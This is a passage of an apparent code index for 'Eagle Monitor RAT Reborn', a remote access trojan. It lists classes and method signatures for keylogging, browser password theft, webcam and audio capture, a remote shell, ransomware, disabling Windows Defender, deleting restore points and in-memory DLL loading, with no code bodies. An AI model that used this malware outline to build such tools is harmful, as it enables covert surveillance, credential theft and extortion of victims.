RemoteViewerPacketHandler (line 13) | internal class RemoteViewerPacketHandler method RemoteViewerPacketHandler (line 15) | public RemoteViewerPacketHandler(RemoteViewerPacket remoteViewerPacket... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DeleteFilePacketHandler.cs class DeleteFilePacketHandler (line 12) | internal class DeleteFilePacketHandler method DeleteFilePacketHandler (line 14) | public DeleteFilePacketHandler(DeleteFilePacket deleteFilePacket) : ba... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DisksPacketHandler.cs class DisksPacketHandler (line 12) | internal class DisksPacketHandler method DisksPacketHandler (line 14) | public DisksPacketHandler(DiskPacket diskPacket) : base()//, ClientHan... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DownloadFilePacketHandler.cs class DownloadFilePacketHandler (line 14) | internal class DownloadFilePacketHandler method DownloadFilePacketHandler (line 16) | public DownloadFilePacketHandler(DownloadFilePacket downloadFilePacket... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/FileManagerPacketHandler.cs class FileManagerPacketHandler (line 13) | internal class FileManagerPacketHandler method FileManagerPacketHandler (line 15) | public FileManagerPacketHandler(FileManagerPacket fileManagerPacket) :... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/ShortCutFileManagersPacketHandler.cs class ShortCutFileManagersPacketHandler (line 13) | internal class ShortCutFileManagersPacketHandler method ShortCutFileManagersPacketHandler (line 15) | internal ShortCutFileManagersPacketHandler(ShortCutFileManagersPacket ... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/ChatPacketHandler.cs class ChatPacketHandler (line 13) | internal class ChatPacketHandler method ChatPacketHandler (line 15) | public ChatPacketHandler(RemoteChatPacket chatPacket): base() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/InformationPacketHandler.cs class InformationPacketHandler (line 13) | internal class InformationPacketHandler method InformationPacketHandler (line 15) | public InformationPacketHandler(InformationPacket informationPacket) :... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogOfflinePacketHandler.cs class KeylogOfflinePacketHandler (line 13) | internal class KeylogOfflinePacketHandler method KeylogOfflinePacketHandler (line 15) | public KeylogOfflinePacketHandler(KeylogOfflinePacket keylogOfflinePac... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogPacketHandler.cs class KeylogPacketHandler (line 12) | internal class KeylogPacketHandler method KeylogPacketHandler (line 14) | public KeylogPacketHandler(KeylogPacket keylogPacket) : base()//, Clie... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/NetworkInformationPacketHandler.cs class NetworkInformationPacketHandler (line 12) | internal class NetworkInformationPacketHandler method NetworkInformationPacketHandler (line 14) | public NetworkInformationPacketHandler(NetworkInformationPacket networ... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessKillerPacketHandler.cs class ProcessKillerPacketHandler (line 12) | internal class ProcessKillerPacketHandler method ProcessKillerPacketHandler (line 14) | public ProcessKillerPacketHandler(ProcessKillerPacket packet) : base()... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessManagerPacketHandler.cs class ProcessManagerPacketHandler (line 13) | internal class ProcessManagerPacketHandler method ProcessManagerPacketHandler (line 15) | public ProcessManagerPacketHandler(ProcessManagerPacket processManager... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ResumeProcessPacketHandler.cs class ResumeProcessPacketHandler (line 13) | internal class ResumeProcessPacketHandler method ResumeProcessPacketHandler (line 15) | public ResumeProcessPacketHandler(ResumeProcessPacket resumeProcessPac... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/SuspendProcessPacketHandler.cs class SuspendProcessPacketHandler (line 13) | internal class SuspendProcessPacketHandler method SuspendProcessPacketHandler (line 15) | public SuspendProcessPacketHandler(SuspendProcessPacket suspendProcess... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Ransomware/RansomareEncryptionConfirmationPacketHandler.cs class RansomareEncryptionConfirmationPacketHandler (line 11) | internal class RansomareEncryptionConfirmationPacketHandler method RansomareEncryptionConfirmationPacketHandler (line 13) | public RansomareEncryptionConfirmationPacketHandler(RansomwareConfirma... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/AutofillPacketHandler.cs class AutofillPacketHandler (line 13) | internal class AutofillPacketHandler method AutofillPacketHandler (line 15) | public AutofillPacketHandler(AutofillPacket autofillPacket): base()//,... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/HistoryPacketHandler.cs class HistoryPacketHandler (line 13) | internal class HistoryPacketHandler method HistoryPacketHandler (line 15) | public HistoryPacketHandler(HistoryPacket historyPacket) : base()//, C... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/KeywordsPacketHandler.cs class KeywordsPacketHandler (line 13) | internal class KeywordsPacketHandler method KeywordsPacketHandler (line 15) | public KeywordsPacketHandler(KeywordsPacket keywordsPacket) : base()//... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/PasswordsPacketHandler.cs class PasswordsPacketHandler (line 13) | internal class PasswordsPacketHandler method PasswordsPacketHandler (line 15) | public PasswordsPacketHandler(PasswordsPacket passwordsPacket) :base()... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteShellStdOutPacketHandler.cs class RemoteShellStdOutPacketHandler (line 12) | internal class RemoteShellStdOutPacketHandler method RemoteShellStdOutPacketHandler (line 14) | public RemoteShellStdOutPacketHandler(StdOutShellSessionPacket stdOutS... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteStartShellPacketHandler.cs class RemoteStartShellPacketHandler (line 12) | internal class RemoteStartShellPacketHandler method RemoteStartShellPacketHandler (line 14) | public RemoteStartShellPacketHandler(StartShellSessionPacket startShel... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/DeleteRestorePointPacketHandler.cs class DeleteRestorePointPacketHandler (line 12) | internal class DeleteRestorePointPacketHandler method DeleteRestorePointPacketHandler (line 14) | public DeleteRestorePointPacketHandler(DeleteRestorePointPacket delete... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/RestorePointPacketHandler.cs class RestorePointPacketHandler (line 12) | internal class RestorePointPacketHandler method RestorePointPacketHandler (line 14) | public RestorePointPacketHandler(RestorePointPacket restorePointPacket... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraCapturePacketHandler.cs class RemoteCameraCapturePacketHandler (line 14) | internal class RemoteCameraCapturePacketHandler method RemoteCameraCapturePacketHandler (line 16) | public RemoteCameraCapturePacketHandler(RemoteCameraCapturePacket remo... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraPacketHandler.cs class RemoteCameraPacketHandler (line 12) | internal class RemoteCameraPacketHandler method RemoteCameraPacketHandler (line 14) | public RemoteCameraPacketHandler(RemoteCameraPacket remoteCameraPacket... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Program.cs class Program (line 12) | internal static class Program method Main (line 14) | [STAThread] FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.Designer.cs class Resources (line 22) | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resource... method Resources (line 31) | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Mic... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Settings.Designer.cs class Settings (line 14) | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] FILE: Remote Access Tool/Plugins/Admin/ClientHandler.cs class ClientHandler (line 14) | internal class ClientHandler : IDisposable method ClientHandler (line 32) | public ClientHandler(Host host, string key) : base() method ConnectStart (line 40) | public void ConnectStart() method Connect (line 46) | private bool Connect() method EndConnect (line 58) | public void EndConnect(IAsyncResult ar) method SendPacket (line 69) | public void SendPacket(IPacket packet) method SendData (line 74) | private int SendData(IPacket data) method SendDataCompleted (line 130) | private void SendDataCompleted(IAsyncResult ar) method Dispose (line 149) | public void Dispose() FILE: Remote Access Tool/Plugins/Admin/DeleteRestorePoint.cs class DeleteRestorePoint (line 9) | internal class DeleteRestorePoint method DeleteARestorePoint (line 11) | internal static bool DeleteARestorePoint(int sequenceNumber) FILE: Remote Access Tool/Plugins/Admin/GetRestorePoints.cs class GetRestorePoints (line 12) | internal static class GetRestorePoints method GetAllRestorePoints (line 14) | internal static List GetAllRestorePoints() FILE: Remote Access Tool/Plugins/Admin/Imports.cs class Imports (line 5) | internal class Imports method SRRemoveRestorePoint (line 10) | [DllImport(srclient)] FILE: Remote Access Tool/Plugins/Admin/Launch.cs class Launch (line 13) | public static class Launch method Main (line 15) | public static void Main(LoadingAPI loadingAPI) method ClientSender (line 34) | private static void ClientSender(Host host, string key, IPacket packet) FILE: Remote Access Tool/Plugins/Admin/Utils.cs class Utils (line 10) | internal static class Utils method IsAdmin (line 12) | internal static bool IsAdmin() FILE: Remote Access Tool/Plugins/Admin/WindowsDefender.cs class WindowsDefender (line 13) | internal class WindowsDefender method Stop (line 15) | internal static void Stop() FILE: Remote Access Tool/Plugins/AudioRecording/ClientHandler.cs class ClientHandler (line 15) | internal class ClientHandler : IDisposable method ClientHandler (line 38) | public ClientHandler(Host host, string key, string baseIp, string HWID... method ConnectStart (line 50) | public void ConnectStart() method Connect (line 56) | private bool Connect() method EndConnect (line 68) | public void EndConnect(IAsyncResult ar) method Receive (line 90) | public void Receive() method ReceiveData (line 99) | private byte[] ReceiveData() method EndDataRead (line 132) | public void EndDataRead(IAsyncResult ar) method PacketParser (line 141) | private IPacket PacketParser(byte[] BufferPacket) method EndPacketRead (line 151) | public void EndPacketRead(IAsyncResult ar) method ParsePacket (line 159) | public void ParsePacket(IPacket packet) method SendPacket (line 176) | public void SendPacket(IPacket packet) method SendData (line 181) | private PacketType SendData(IPacket data) method SendDataCompleted (line 237) | private void SendDataCompleted(IAsyncResult ar) method Dispose (line 248) | public void Dispose() FILE: Remote Access Tool/Plugins/AudioRecording/GetDevices.cs class GetDevices (line 11) | internal static class GetDevices method GetAudioDevices (line 13) | internal static List GetAudioDevices() FILE: Remote Access Tool/Plugins/AudioRecording/Helpers.cs class Helpers (line 12) | internal class Helpers method Helpers (line 14) | static Helpers() method StartCaptureAsync (line 24) | internal static void StartCaptureAsync() method Capture (line 29) | internal static void Capture() method WaveDataAvailable (line 42) | private static void WaveDataAvailable(object sender, WaveInEventArgs e) method WaveStop (line 66) | private static void WaveStop(object sender, StoppedEventArgs e) method EndCaptureAsync (line 71) | private static void EndCaptureAsync(IAsyncResult ar) method StopStreamAudio (line 76) | internal static void StopStreamAudio() FILE: Remote Access Tool/Plugins/AudioRecording/Launch.cs class Launch (line 12) | public static class Launch method Main (line 18) | public static void Main(LoadingAPI loadingAPI) FILE: Remote Access Tool/Plugins/Chat/ChatForm.cs class ChatForm (line 14) | class ChatForm : FormPattern method ChatForm (line 16) | public ChatForm(string name) method Dispose (line 23) | protected override void Dispose(bool disposing) method InitializeComponent (line 44) | public void InitializeComponent() method ChatForm_Load (line 148) | private void ChatForm_Load(object sender, EventArgs e) method ChatForm_Shown (line 163) | private void ChatForm_Shown(object sender, EventArgs e) method sendMsgGuna2Button_Click (line 175) | private void sendMsgGuna2Button_Click(object sender, EventArgs e) FILE: Remote Access Tool/Plugins/Chat/ClientHandler.cs class ClientHandler (line 17) | internal class ClientHandler : IDisposable method ClientHandler (line 41) | public ClientHandler(Host host, string key, string baseIp, string HWID... method ConnectStart (line 53) | public void ConnectStart() method Connect (line 59) | private bool Connect() method EndConnect (line 71) | public void EndConnect(IAsyncResult ar) method Receive (line 89) | public void Receive() method ReceiveData (line 99) | private byte[] ReceiveData() method EndDataRead (line 131) | public void EndDataRead(IAsyncResult ar) method PacketParser (line 141) | private IPacket PacketParser(byte[] BufferPacket) method EndPacketRead (line 151) | public void EndPacketRead(IAsyncResult ar) method ParsePacket (line 159) | public void ParsePacket(IPacket packet) method SendPacket (line 179) | public void SendPacket(IPacket packet) method SendData (line 184) | private int SendData(IPacket data) method SendDataCompleted (line 242) | private void SendDataCompleted(IAsyncResult ar) method Dispose (line 247) | public void Dispose() FILE: Remote Access Tool/Plugins/Chat/FormPattern.cs class FormPattern (line 13) | public class FormPattern : Form method FormPattern (line 16) | public FormPattern() method OnPaint (line 79) | protected override void OnPaint(PaintEventArgs e) // you can safely om... method SendMessage (line 119) | [DllImport("user32.dll")] method InitializeComponent (line 122) | private void InitializeComponent() method FormPattern_Load (line 135) | private void FormPattern_Load(object sender, EventArgs e) method ReleaseCapture (line 140) | [DllImport("user32.dll")] method WndProc (line 146) | protected override void WndProc(ref Message message) method OnMouseDown (line 174) | protected override void OnMouseDown(MouseEventArgs e) method MoveForm_ (line 186) | protected void MoveForm_() method MoveForm (line 191) | protected IntPtr MoveForm() FILE: Remote Access Tool/Plugins/Chat/Imports.cs class Imports (line 11) | internal static class Imports method SetWindowCompositionAttribute (line 15) | [DllImport(user32)] method SetWindowPos (line 17) | [DllImport(user32)] method PostMessage (line 20) | [DllImport(user32)] type WM_Message (line 23) | public enum WM_Message : uint type SC_Message (line 31) | public enum SC_Message : uint type MARGINS (line 40) | [StructLayout(LayoutKind.Sequential)] type WindowCompositionAttributeData (line 49) | [StructLayout(LayoutKind.Sequential)] type AccentPolicy (line 57) | [StructLayout(LayoutKind.Sequential)] type WindowCompositionAttribute (line 66) | public enum WindowCompositionAttribute type AccentState (line 97) | public enum AccentState FILE: Remote Access Tool/Plugins/Chat/Launch.cs class Launch (line 14) | public static class Launch method Main (line 21) | public static void Main(LoadingAPI loadingAPI) method StartChatForm (line 44) | internal static void StartChatForm() method ExitChatForm (line 51) | internal static void ExitChatForm() FILE: Remote Access Tool/Plugins/Chat/Properties/Resources.Designer.cs class Resources (line 22) | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resource... method Resources (line 31) | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Mic... FILE: Remote Access Tool/Plugins/FileManager/ClientHandler.cs class ClientHandler (line 14) | internal class ClientHandler : IDisposable method ClientHandler (line 32) | public ClientHandler(Host host, string key) : base() method ConnectStart (line 40) | public void ConnectStart() method Connect (line 46) | private bool Connect() method EndConnect (line 58) | public void EndConnect(IAsyncResult ar) method SendPacket (line 69) | public void SendPacket(IPacket packet) method SendData (line 75) | private int SendData(IPacket data) method SendDataCompleted (line 131) | private void SendDataCompleted(IAsyncResult ar) method Dispose (line 137) | public void Dispose() FILE: Remote Access Tool/Plugins/FileManager/DeleteFile.cs class DeleteFile (line 10) | internal class DeleteFile method RemoveFile (line 12) | internal static Tuple RemoveFile(string path) FILE: Remote Access Tool/Plugins/FileManager/DownloadClientHandler.cs class DownloadClientHandler (line 16) | internal class DownloadClientHandler : IDisposable method DownloadClientHandler (line 42) | public DownloadClientHandler(LoadingAPI loadingAPI, long fileTicket, i... method ConnectStart (line 53) | public void ConnectStart() method Connect (line 59) | private bool Connect() method EndConnect (line 72) | public void EndConnect(IAsyncResult ar) method Receive (line 87) | public void Receive() method ReceiveData (line 101) | private byte[] ReceiveData() method EndDataRead (line 134) | public void EndDataRead(IAsyncResult ar) method PacketParser (line 145) | private IPacket PacketParser(byte[] BufferPacket) method EndPacketRead (line 149) | public void EndPacketRead(IAsyncResult ar) method ParsePacket (line 155) | public void ParsePacket(IPacket packet) method StartSendingFile (line 167) | internal void StartSendingFile(string filePath) method SendData (line 203) | private int SendData(IPacket data) method Dispose (line 260) | public void Dispose() FILE: Remote Access Tool/Plugins/FileManager/GetDisks.cs class GetDisks (line 11) | internal class GetDisks method GetAllDisks (line 13) | internal static List GetAllDisks() FILE: Remote Access Tool/Plugins/FileManager/GetFilesAndDirs.cs class GetFilesAndDirs (line 14) | internal class GetFilesAndDirs method GetFilesSize (line 16) | private static long GetFilesSize(string path) method GetAllFilesAndDirs (line 27) | internal static Dictionary> GetAllFilesAndDirs(... FILE: Remote Access Tool/Plugins/FileManager/Imports.cs class Imports (line 11) | internal static class Imports method MoveFile (line 15) | [DllImport(kernel32)] method SHGetKnownFolderPath (line 21) | [DllImport(shell32)] FILE: Remote Access Tool/Plugins/FileManager/Launch.cs class Launch (line 14) | public static class Launch method Main (line 16) | public static void Main(LoadingAPI loadingAPI) method ClientFileSender (line 79) | private static void ClientFileSender(LoadingAPI loadingAPI) method ClientSender (line 90) | private static void ClientSender(Host host, string key, IPacket packet) FILE: Remote Access Tool/Plugins/FileManager/MoveFile.cs class MoveFile (line 10) | internal class MoveFile method RenameFile (line 12) | internal static bool RenameFile(string oldPath, string newPath) FILE: Remote Access Tool/Plugins/FileManager/Shorcuts.cs class Shorcuts (line 13) | internal class Shorcuts method ShortcutsWrapper (line 15) | internal static Dictionary> ShortcutsWrapper(Sh... FILE: Remote Access Tool/Plugins/FileManager/StartFile.cs class StartFile (line 10) | internal class StartFile method StartAProcess (line 12) | internal static void StartAProcess(string path) FILE: Remote Access Tool/Plugins/FileManager/UploadFile.cs class UploadFile (line 10) | internal class UploadFile method WriteUploadedFile (line 12) | internal static bool WriteUploadedFile(string path, byte[] file) FILE: Remote Access Tool/Plugins/Hardware/Launch.cs class Launch (line 12) | public static class Launch method Main (line 14) | public static void Main(LoadingAPI loadingAPI) FILE: Remote Access Tool/Plugins/Information/ActivationKey.cs class ActivationKey (line 11) | internal class ActivationKey method DecodeProductKeyWin8AndUp (line 13) | internal static string DecodeProductKeyWin8AndUp(byte[] digitalProductId) method DecodeProductKey (line 45) | private static string DecodeProductKey(byte[] digitalProductId) method GetWindowsProductKeyFromDigitalProductId (line 81) | private static string GetWindowsProductKeyFromDigitalProductId(byte[] ... method GetWindowsProductKeyFromRegistry (line 91) | public static string GetWindowsProductKeyFromRegistry() type DigitalProductIdVersion (line 113) | internal enum DigitalProductIdVersion FILE: Remote Access Tool/Plugins/Information/ClientHandler.cs class ClientHandler (line 14) | internal class ClientHandler : IDisposable method ClientHandler (line 33) | public ClientHandler(Host host, string key) : base() method ConnectStart (line 41) | public void ConnectStart() method Connect (line 47) | private bool Connect() method EndConnect (line 59) | public void EndConnect(IAsyncResult ar) method SendPacket (line 69) | public void SendPacket(IPacket packet) method SendData (line 74) | private int SendData(IPacket data) method SendDataCompleted (line 130) | private void SendDataCompleted(IAsyncResult ar) method Dispose (line 149) | public void Dispose() FILE: Remote Access Tool/Plugins/Information/DLLFromMemory.cs class DLLFromMemory (line 47) | public class DLLFromMemory : IDisposable class DllException (line 49) | public class DllException : Exception method DllException (line 51) | public DllException() : base() { } method DllException (line 52) | public DllException(string message) : base(message) { } method DllException (line 53) | public DllException(string message, Exception innerException) : base... method DLLFromMemory (line 80) | public DLLFromMemory(byte[] data) method GetDelegateFromFuncName (line 98) | public TDelegate GetDelegateFromFuncName(string funcName) w... method GetDelegateFromFuncName (line 112) | public Delegate GetDelegateFromFuncName(string funcName, Type delegate... method GetPtrFromFuncName (line 121) | IntPtr GetPtrFromFuncName(string funcName) method MemoryCallEntryPoint (line 158) | public int MemoryCallEntryPoint() method MemoryLoadLibrary (line 165) | void MemoryLoadLibrary(byte[] data) method CopySections (line 276) | static void CopySections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCo... method PerformBaseRelocation (line 319) | static bool PerformBaseRelocation(ref IMAGE_NT_HEADERS OrgNTHeaders, I... method BuildImportTable (line 363) | static IntPtr[] BuildImportTable(ref IMAGE_NT_HEADERS OrgNTHeaders, In... method FinalizeSections (line 413) | static void FinalizeSections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr... method FinalizeSection (line 465) | static void FinalizeSection(SectionFinalizeData SectionData, uint Page... method ExecuteTLS (line 498) | static void ExecuteTLS(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode... method GetMachineType (line 519) | static uint GetMachineType() { return (IntPtr.Size == 8 ? Win.IMAGE_FI... method AlignValueUp (line 521) | static uint AlignValueUp(uint value, uint alignment) { return (value +... method GetRealSectionSize (line 523) | static IntPtr GetRealSectionSize(ref IMAGE_SECTION_HEADER Section, ref... method Close (line 540) | public void Close() { ((IDisposable)this).Dispose(); } method Dispose (line 542) | void IDisposable.Dispose() method Dispose (line 548) | public void Dispose() type SectionFinalizeData (line 587) | struct SectionFinalizeData class Of (line 596) | class Of class Of32 (line 603) | class Of32 class Of64 (line 609) | class Of64 class Sz (line 615) | class Sz type IMAGE_DOS_HEADER (line 622) | [StructLayout(LayoutKind.Sequential)] type IMAGE_NT_HEADERS (line 646) | [StructLayout(LayoutKind.Sequential)] type IMAGE_FILE_HEADER (line 654) | [StructLayout(LayoutKind.Sequential)] type IMAGE_OPTIONAL_HEADER (line 666) | [StructLayout(LayoutKind.Sequential)] type IMAGE_DATA_DIRECTORY (line 716) | [StructLayout(LayoutKind.Sequential)] type IMAGE_SECTION_HEADER (line 723) | [StructLayout(LayoutKind.Sequential)] type IMAGE_BASE_RELOCATION (line 738) | [StructLayout(LayoutKind.Sequential)] type IMAGE_IMPORT_DESCRIPTOR (line 745) | [StructLayout(LayoutKind.Sequential)] type IMAGE_EXPORT_DIRECTORY (line 755) | [StructLayout(LayoutKind.Sequential)] type SYSTEM_INFO (line 771) | [StructLayout(LayoutKind.Sequential)] type IMAGE_TLS_DIRECTORY (line 787) | [StructLayout(LayoutKind.Sequential)] type MagicType (line 798) | enum MagicType : ushort type SubSystemType (line 804) | enum SubSystemType : ushort type DllCharacteristicsType (line 819) | enum DllCharacteristicsType : ushort type BasedRelocationType (line 836) | enum BasedRelocationType type AllocationType (line 849) | enum AllocationType : uint type MemoryProtection (line 862) | enum MemoryProtection : uint type PageProtection (line 877) | enum PageProtection type ImageSectionFlags (line 892) | enum ImageSectionFlags : uint type DllReason (line 904) | enum DllReason : uint class Win (line 912) | class Win method VirtualAlloc (line 925) | [DllImport("kernel32.dll", SetLastError = true)] method MemSet (line 928) | [DllImport("msvcrt.dll", EntryPoint = "memset", CallingConvention = ... method LoadLibrary (line 931) | [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = tr... method GetProcAddress (line 934) | [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = t... method VirtualFree (line 937) | [DllImport("kernel32.dll", SetLastError = true)] method VirtualProtect (line 940) | [DllImport("kernel32.dll", SetLastError = true)] method FreeLibrary (line 943) | [DllImport("kernel32.dll", SetLastError = true)] method GetNativeSystemInfo (line 946) | [DllImport("kernel32.dll", SetLastError = true)] method IMAGE_FIRST_SECTION (line 950) | public static IntPtr IMAGE_FIRST_SECTION(IntPtr pNTHeader, ushort nt... method IMAGE_FIRST_SECTION (line 956) | public static int IMAGE_FIRST_SECTION(int lfanew, ushort ntheader_Fi... method IMAGE_ORDINAL (line 962) | public static IntPtr IMAGE_ORDINAL(IntPtr ordinal) method IMAGE_SNAP_BY_ORDINAL (line 968) | public static bool IMAGE_SNAP_BY_ORDINAL(IntPtr ordinal) method PtrRead (line 974) | static T PtrRead(IntPtr ptr) { return (T)Marshal.PtrToStructure(ptr... method PtrWrite (line 975) | static void PtrWrite(IntPtr ptr, T val) { Marshal.StructureToPtr(va... method PtrAdd (line 976) | static IntPtr PtrAdd(IntPtr p, int v) { return (IntPtr)(p.ToInt64() + ... method PtrAdd (line 977) | static IntPtr PtrAdd(IntPtr p, uint v) { return (IntPtr.Size == 8 ? (I... method PtrAdd (line 978) | static IntPtr PtrAdd(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? ... method PtrAdd (line 979) | static IntPtr PtrAdd(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ?... method PtrSub (line 980) | static IntPtr PtrSub(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? ... method PtrBitOr (line 981) | static IntPtr PtrBitOr(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8... method PtrAlignDown (line 982) | static IntPtr PtrAlignDown(IntPtr p, UIntPtr align) { return (IntPtr)u... method PtrIsInvalidHandle (line 983) | static bool PtrIsInvalidHandle(IntPtr h) { return (h == IntPtr.Zero ||... method PtrSpanBoundary (line 984) | static bool PtrSpanBoundary(IntPtr p, uint Size, int BoundaryBits) { r... method BytesReadStructAt (line 986) | static T BytesReadStructAt(byte[] buf, int offset) FILE: Remote Access Tool/Plugins/Information/HardwareInformation.cs class HardwareInformation (line 12) | internal class HardwareInformation method CPUInformation (line 16) | internal static string CPUInformation() FILE: Remote Access Tool/Plugins/Information/Helpers.cs class Helpers (line 15) | internal static class Helpers method RemoveLastChars (line 17) | internal static string RemoveLastChars(string input, int amount = 2) method GetIpAddress (line 24) | internal static string GetIpAddress(long ipAddrs) method GetTcpPort (line 38) | internal static ushort GetTcpPort(int tcpPort) method GetWMIInformation (line 44) | internal static string GetWMIInformation(string askedInfo, string quer... method GetResolution (line 64) | internal static string GetResolution() method GetGpuName (line 69) | internal static string GetGpuName() method GetDebug (line 94) | internal static string GetDebug() method GetBiosDescription (line 118) | internal static string GetBiosDescription() method GetOsType (line 143) | internal static string GetOsType() method GetMainboardName (line 168) | internal static string GetMainboardName() method GetUserName (line 193) | internal static string GetUserName() method GetPcName (line 198) | internal static string GetPcName() method GetUserType (line 203) | internal static AccountType GetUserType() method GetFirewall (line 228) | internal static string GetFirewall() FILE: Remote Access Tool/Plugins/Information/Imports.cs class Imports (line 11) | internal class Imports type MIB_TCPROW_OWNER_PID (line 14) | internal struct MIB_TCPROW_OWNER_PID type MIB_TCPTABLE_OWNER_PID (line 45) | internal struct MIB_TCPTABLE_OWNER_PID type TCP_TABLE_TYPE (line 54) | public enum TCP_TABLE_TYPE method ntohs (line 68) | [DllImport("Ws2_32.dll")] method GetExtendedTcpTable (line 71) | [DllImport("iphlpapi.dll", SetLastError = true)] FILE: Remote Access Tool/Plugins/Information/Launch.cs class Launch (line 14) | public static class Launch method Launch (line 18) | static Launch() method Main (line 23) | public static void Main(LoadingAPI loadingAPI) method ClientSender (line 74) | private static void ClientSender(Host host, string key, IPacket packet) FILE: Remote Access Tool/Plugins/Information/NetworkInformation.cs class NetworkInformation (line 15) | internal class NetworkInformation method GetAllTcpConnections (line 17) | private static MIB_TCPROW_OWNER_PID[] GetAllTcpConnections() method AllTCPConnection (line 53) | public static List AllTCPConnection() FILE: Remote Access Tool/Plugins/Information/Properties/Resources.Designer.cs class Resources (line 22) | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resource... method Resources (line 31) | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Mic... FILE: Remote Access Tool/Plugins/Information/WMIHelpers.cs class WMIHelpers (line 20) | internal class WMIHelpers type OSType (line 22) | internal enum OSType FILE: Remote Access Tool/Plugins/Keylogger/ClientHandler.cs class ClientHandler (line 15) | internal class ClientHandler : IDisposable method ClientHandler (line 39) | public ClientHandler(Host host, string key) : base() method ConnectStart (line 50) | public void ConnectStart() method Connect (line 56) | private bool Connect() method EndConnect (line 68) | public void EndConnect(IAsyncResult ar) method Receive (line 88) | public void Receive() method ReceiveData (line 102) | private byte[] ReceiveData() method EndDataRead (line 135) | public void EndDataRead(IAsyncResult ar) method PacketParser (line 146) | private IPacket PacketParser(byte[] BufferPacket) method EndPacketRead (line 150) | public void EndPacketRead(IAsyncResult ar) method ParsePacket (line 156) | public void ParsePacket(IPacket packet) method SendPacket (line 166) | public void SendPacket(IPacket packet) method SendData (line 171) | private int SendData(IPacket data) method SendDataCompleted (line 228) | private void SendDataCompleted(IAsyncResult ar) method Dispose (line 246) | public void Dispose() FILE: Remote Access Tool/Plugins/Keylogger/Hook.cs class Hook (line 19) | public class Hook method Hook (line 23) | static Hook() method AbortHook (line 29) | public static void AbortHook() method StartHooking (line 40) | public static void StartHooking() method HookKeyboard (line 45) | private static void HookKeyboard() method KeyboardThread (line 51) | private static void KeyboardThread() method GetActiveWindowTitle (line 61) | private static string GetActiveWindowTitle() method KeyboardLayout (line 81) | private static string KeyboardLayout(uint vkCode) method GetAllKeys (line 98) | private static IntPtr GetAllKeys(int nCode, IntPtr wp, IntPtr lp) FILE: Remote Access Tool/Plugins/Keylogger/Imports.cs class Imports (line 13) | internal static class Imports method UnhookWindowsHookEx (line 22) | [DllImport(user32)] method GetKeyboardLayout (line 25) | [DllImport(user32)] method CallNextHookEx (line 28) | [DllImport(user32)] method GetKeyboardState (line 30) | [DllImport(user32)] method ToUnicodeEx (line 34) | [DllImport(user32)] method MapVirtualKey (line 36) | [DllImport(user32)] method SetWindowsHookEx (line 39) | [DllImport(user32, CharSet = CharSet.Auto, SetLastError = true)] method GetForegroundWindow (line 42) | [DllImport(user32)] method GetWindowThreadProcessId (line 45) | [DllImport(user32)] method GetKeyState (line 48) | [DllImport(user32)] method GetWindowText (line 51) | [DllImport(user32)] type KBDLLHOOKSTRUCT (line 54) | [StructLayout(LayoutKind.Sequential)] FILE: Remote Access Tool/Plugins/Keylogger/Launch.cs class Launch (line 13) | public static class Launch method Main (line 19) | public static void Main(LoadingAPI loadingAPI) FILE: Remote Access Tool/Plugins/MemoryExecution/DLLFromMemory.cs class DLLFromMemory (line 47) | public class DLLFromMemory : IDisposable class DllException (line 49) | public class DllException : Exception method DllException (line 51) | public DllException() : base() { } method DllException (line 52) | public DllException(string message) : base(message) { } method DllException (line 53) | public DllException(string message, Exception innerException) : base... method DLLFromMemory (line 80) | public DLLFromMemory(byte[] data) method GetDelegateFromFuncName (line 98) | public TDelegate GetDelegateFromFuncName(string funcName) w... method GetDelegateFromFuncName (line 112) | public Delegate 